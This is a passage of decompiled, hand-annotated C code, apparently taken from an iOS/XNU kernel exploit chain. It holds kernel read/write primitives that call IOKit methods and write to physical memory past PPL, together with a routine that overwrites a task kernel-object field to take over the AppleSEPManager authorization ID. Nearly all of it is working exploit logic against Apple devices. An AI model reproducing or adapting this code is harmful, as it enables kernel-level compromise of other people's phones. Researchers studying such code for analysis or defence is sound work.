semaphore_wait(v2);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//----- (000000000002B03C) ----------------------------------------------------
|
||||
__int64 __fastcall ulock_wait_loop(__int64 a1)
|
||||
{
|
||||
unsigned int v2; // w21
|
||||
int v3; // w0
|
||||
|
||||
__error();
|
||||
v2 = 0;
|
||||
*(uint8_t *)(a1 + 73) = 1;
|
||||
while ( 1 )
|
||||
{
|
||||
v3 = __ulock_wait(0x10001u, (void *)(a1 + 52), 0, *(uint32_t *)(a1 + 52));
|
||||
if ( !v3 )
|
||||
{
|
||||
++*(uint64_t *)(a1 + 64);
|
||||
goto LABEL_10;
|
||||
}
|
||||
if ( v3 == -1 && errno == 4 && v2++ < 0x64 )
|
||||
continue;
|
||||
if ( errno != 14 )
|
||||
return 0;
|
||||
LABEL_10:
|
||||
v2 = 0;
|
||||
if ( *(uint8_t *)(a1 + 72) )
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
//----- (000000000002B0E8) ----------------------------------------------------
|
||||
kern_return_t ioconnect_struct_method_kwrite(struct_krwCtx *krwCtx, uint64_t vaddr, uint64_t a3)
|
||||
{
|
||||
// [x0+0x1d48] = pointer to IOKit connection info struct
|
||||
struct_IOKitConnInfo *connInfo = krwCtx->IOKitConnInfo; // [krwCtx+0x1d48]
|
||||
if (!connInfo)
|
||||
return 0xAD001; // 708609: no connection
|
||||
|
||||
// w26 = 0x20026 = base error code
|
||||
// w21 = connection port (dword at +0x70)
|
||||
mach_port_t ioPort = connInfo->ioPort; // [connInfo+0x70]
|
||||
if ((uint32_t)(ioPort + 1) < 2)
|
||||
return 0x20026 - 0x1e; // 0x20008 = 131080: invalid port
|
||||
|
||||
uint64_t qword58 = connInfo->qword58; // slot table base or similar
|
||||
if (!qword58) return 0x20026; // 131110
|
||||
uint64_t qword60 = connInfo->qword60; // paddr target 1
|
||||
if (!qword60) return 0x20026;
|
||||
uint64_t qword68 = connInfo->qword68; // x27: some pointer/table
|
||||
if (!qword68) return 0x20026;
|
||||
uint64_t qword50 = connInfo->qword50; // x8: used in inputStruct
|
||||
if (!qword50) return 0x20026 - 0x15; // 0x20011 = 131089
|
||||
|
||||
// --- Build inputStruct at [sp+0x138], size 0x100 ---
|
||||
// Zero entire 0x100-byte region first (the stur q0 block)
|
||||
uint8_t inputStruct[0x100];
|
||||
memset(inputStruct, 0, sizeof(inputStruct));
|
||||
*(uint32_t *)&inputStruct[0] = 0x80; // str w10,[sp+0x138] = 128
|
||||
|
||||
// Version-dependent field offsets within inputStruct
|
||||
// csel chain: if xnuMajorVersion > 0x225B: offsets +8 each
|
||||
uint64_t vm_pgsz = vm_page_size; // x9 = vm_page_size global
|
||||
int off0, off1, off2, off3;
|
||||
if (krwCtx->xnuMajorVersion > 0x225B) {
|
||||
off0 = 0x30; off1 = 0x38; off2 = 0x40; off3 = 0x48;
|
||||
} else {
|
||||
off0 = 0x28; off1 = 0x30; off2 = 0x38; off3 = 0x40;
|
||||
}
|
||||
*(uint64_t *)&inputStruct[off0] = vm_pgsz; // str x9,[x15,x10]
|
||||
*(uint64_t *)&inputStruct[off1] = qword50; // str x8,[x15,x12]
|
||||
*(uint64_t *)&inputStruct[off2] = qword50; // str x8,[x15,x13]
|
||||
*(uint64_t *)&inputStruct[off3] = vm_pgsz; // str x9,[x15,x14]
|
||||
|
||||
// outputStruct at [sp+0x30], size 0x100
|
||||
uint8_t outputStruct[0x100];
|
||||
memset(outputStruct, 0, sizeof(outputStruct));
|
||||
size_t outputStructCnt = 0x100;
|
||||
|
||||
kern_return_t kr = IOConnectCallStructMethod(
|
||||
ioPort, 9,
|
||||
inputStruct, 0x100,
|
||||
outputStruct, &outputStructCnt);
|
||||
if (kr)
|
||||
return kr | 0x80000000;
|
||||
|
||||
// Result field at outputStruct[0x1c] (sp+0x4c = sp+0x30+0x1c)
|
||||
uint32_t result_idx = *(uint32_t *)&outputStruct[0x1c]; // w28
|
||||
|
||||
// Validate: result_idx must be in [1, 0x3ff]
|
||||
if ((uint32_t)(result_idx - 1) > 0x3FE)
|
||||
return 0x20026 - 0x15; // 131089
|
||||
|
||||
// kreadbuf: read one element from qword68 table at result_idx
|
||||
// stride = krwCtx->stride_0x168 (ldrsw = signed word)
|
||||
int32_t stride = krwCtx->stride_0x168; // [krwCtx+0x168]
|
||||
uint64_t tbl_ptr = qword68 + (uint32_t)(stride * result_idx);
|
||||
uint64_t kaddr = 0;
|
||||
|
||||
if (!kreadbuf_universal(krwCtx, tbl_ptr, stride, &kaddr, 0))
|
||||
return 0x20026 - 0x17; // 0x2000F = 131087
|
||||
|
||||
// w26 updated: w26 = 0x20026 - 0x17 = 0x2000F (used as error below)
|
||||
|
||||
// Translate/canonicalize kaddr
|
||||
kaddr = maybe_sptm_translate_kaddr(krwCtx, kaddr);
|
||||
|
||||
if (!validate_kaddr_range(krwCtx, kaddr))
|
||||
return 0x20026; // 131110
|
||||
|
||||
// Get physical address of kaddr+0x10
|
||||
uint64_t paddr1 = kaddr_to_phys_v2(krwCtx, kaddr + 0x10, 0);
|
||||
if (!paddr1)
|
||||
return 0x20026;
|
||||
|
||||
// Check if kaddr+0x10 and kaddr+0x78 are in same physical page
|
||||
// bics xzr, ((kaddr+0x10)^(kaddr+0x78)), ~krwCtx->page_mask
|
||||
// b.eq → same page (no second kaddr_to_phys_v2 needed)
|
||||
uint64_t paddr2;
|
||||
if (((kaddr + 0x10) ^ (kaddr + 0x78)) & ~krwCtx->pageMask) {
|
||||
// Different pages — get separate paddr for kaddr+0x78
|
||||
paddr2 = kaddr_to_phys_v2(krwCtx, kaddr + 0x78, 0); // x1 used at +548
|
||||
if (!paddr2)
|
||||
return 0x20026;
|
||||
// paddr2 stored at [sp+0x0]
|
||||
} else {
|
||||
// Same page — kaddr+0x78 = paddr1 + 0x68
|
||||
paddr2 = paddr1 + 0x68;
|
||||
// stored at [sp+0x0]
|
||||
}
|
||||
|
||||
// Write 0 to paddr1 (4 bytes) using appropriate physical write method
|
||||
uint32_t zero_val = 0;
|
||||
uint64_t version_threshold = XNU_VERSION_PACKED(10002, 60, 75, 0, 3);
|
||||
if (krwCtx->xnuVersionPacked >= version_threshold
|
||||
&& (*(uint8_t *)krwCtx & 0x20)) { // tbnz w8, #5 → bit 5 of krwCtx[0]
|
||||
kr = physwritebuf_direct_mapped(krwCtx, paddr1, &zero_val, 4, 0);
|
||||
} else {
|
||||
kr = dmaFail_physwritebuf_ppl(krwCtx, paddr1, &zero_val, 4);
|
||||
}
|
||||
if (kr) return kr;
|
||||
|
||||
// Read 8 bytes from vaddr
|
||||
uint64_t vaddr_val = 0;
|
||||
if (!kreadbuf_universal(krwCtx, vaddr, 8, &vaddr_val, 0))
|
||||
return 0x2000F; // 131087
|
||||
|
||||
// Write (vaddr_val - a3) to paddr2
|
||||
kr = physwrite64_maybe(krwCtx, paddr2, vaddr_val - a3);
|
||||
if (kr) return kr;
|
||||
|
||||
// Write vaddr to qword60
|
||||
kr = physwrite64_maybe(krwCtx, qword60, vaddr);
|
||||
if (kr) return kr;
|
||||
|
||||
// IOConnectCallScalarMethod(ioPort, 10, &result_idx, 1, NULL, NULL)
|
||||
uint64_t scalar_in = result_idx;
|
||||
IOConnectCallScalarMethod(ioPort, 10, &scalar_in, 1, NULL, NULL);
|
||||
|
||||
// Final: restore qword60 → qword58
|
||||
return physwrite64_maybe(krwCtx, qword60, qword58);
|
||||
}
|
||||
// 2B3CC: variable 'v23' is possibly undefined
|
||||
// 2B400: variable 'v24' is possibly undefined
|
||||
// 2B418: variable 'v25' is possibly undefined
|
||||
// 2B450: variable 'v26' is possibly undefined
|
||||
|
||||
#include "entry1_type0x09_dmafail_ppl.inc"
|
||||
|
||||
//----- (000000000002B5BC) ----------------------------------------------------
|
||||
__int64 __fastcall necp_ioservice_auth_write(struct_krwCtx *krwCtx, __int64 a2)
|
||||
{
|
||||
unsigned int v4; // w22
|
||||
unsigned int v5; // w0
|
||||
__int64 v6; // x19
|
||||
unsigned __int64 v7; // x0
|
||||
mach_vm_address_t someKernelAddress; // x23
|
||||
unsigned int v9; // w0
|
||||
unsigned int v10; // w24
|
||||
int v11; // w0
|
||||
int is_the_kwrite64; // w0
|
||||
unsigned int v13; // w8
|
||||
__int64 v15; // [xsp+8h] [xbp-38h] BYREF
|
||||
|
||||
v4 = krwCtx->iosurfaceObj;
|
||||
if ( v4 + 1 <= 1 )
|
||||
{
|
||||
v5 = (unsigned int)ioservice_get_matching("AppleSEPManager");
|
||||
if ( v5 + 1 < 2 )
|
||||
return 708625;
|
||||
v4 = v5;
|
||||
krwCtx->iosurfaceObj = v5;
|
||||
}
|
||||
v6 = 163856;
|
||||
v7 = krwCtx->gap_0x18;
|
||||
if ( !v7 )
|
||||
{
|
||||
v7 = get_task_kobject_addr(krwCtx, v4);
|
||||
if ( !v7 )
|
||||
return 163854;
|
||||
krwCtx->gap_0x18 = v7;
|
||||
}
|
||||
if ( krwCtx->gap_0x20 )
|
||||
{
|
||||
v15 = krwCtx->gap_0x20;
|
||||
someKernelAddress = v7 + 40;
|
||||
}
|
||||
else
|
||||
{
|
||||
someKernelAddress = v7 + 40;
|
||||
if ( !kread_physmap_decorated(krwCtx, v7 + 40, (unsigned __int64 *)&v15) )
|
||||
return 163855;
|
||||
krwCtx->gap_0x20 = v15;
|
||||
}
|
||||
if ( kwrite64_last_arg(krwCtx, someKernelAddress, a2, 0) )
|
||||
{
|
||||
v9 = _IOServiceSetAuthorizationID();
|
||||
v10 = v9;
|
||||
if ( v9 )
|
||||
{
|
||||
if ( v9 != 53 )
|
||||
{
|
||||
v10 = (v9 & 0xFFF) | 0x70000000;
|
||||
goto LABEL_25;
|
||||
}
|
||||
if ( krwCtx->gap_0xC )
|
||||
{
|
||||
krwCtx->gap_0xC = 0;
|
||||
v10 = refresh_target_task_port(krwCtx, mach_task_self_, 0, 0);
|
||||
krwCtx->gap_0xC = 1;
|
||||
if ( v10 )
|
||||
goto LABEL_25;
|
||||
}
|
||||
else
|
||||
{
|
||||
v10 = refresh_target_task_port(krwCtx, mach_task_self_, 0, 0);
|
||||
if ( v10 )
|
||||
goto LABEL_25;
|
||||
}
|
||||
v11 = _IOServiceSetAuthorizationID();
|
||||
if ( v11 )
|
||||
v10 = (v11 & 0xFFF) | 0x70000000;
|
||||
else
|
||||
v10 = 0;
|
||||
}
|
||||
LABEL_25:
|
||||
is_the_kwrite64 = kwrite64_last_arg(krwCtx, someKernelAddress, v15, 0);
|
||||
if ( v10 )
|
||||
v13 = v10;
|
||||
else
|
||||
v13 = 163856;
|
||||
if ( is_the_kwrite64 )
|
||||
return v10;
|
||||
else
|
||||
return v13;
|
||||
}
|
||||
return v6;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user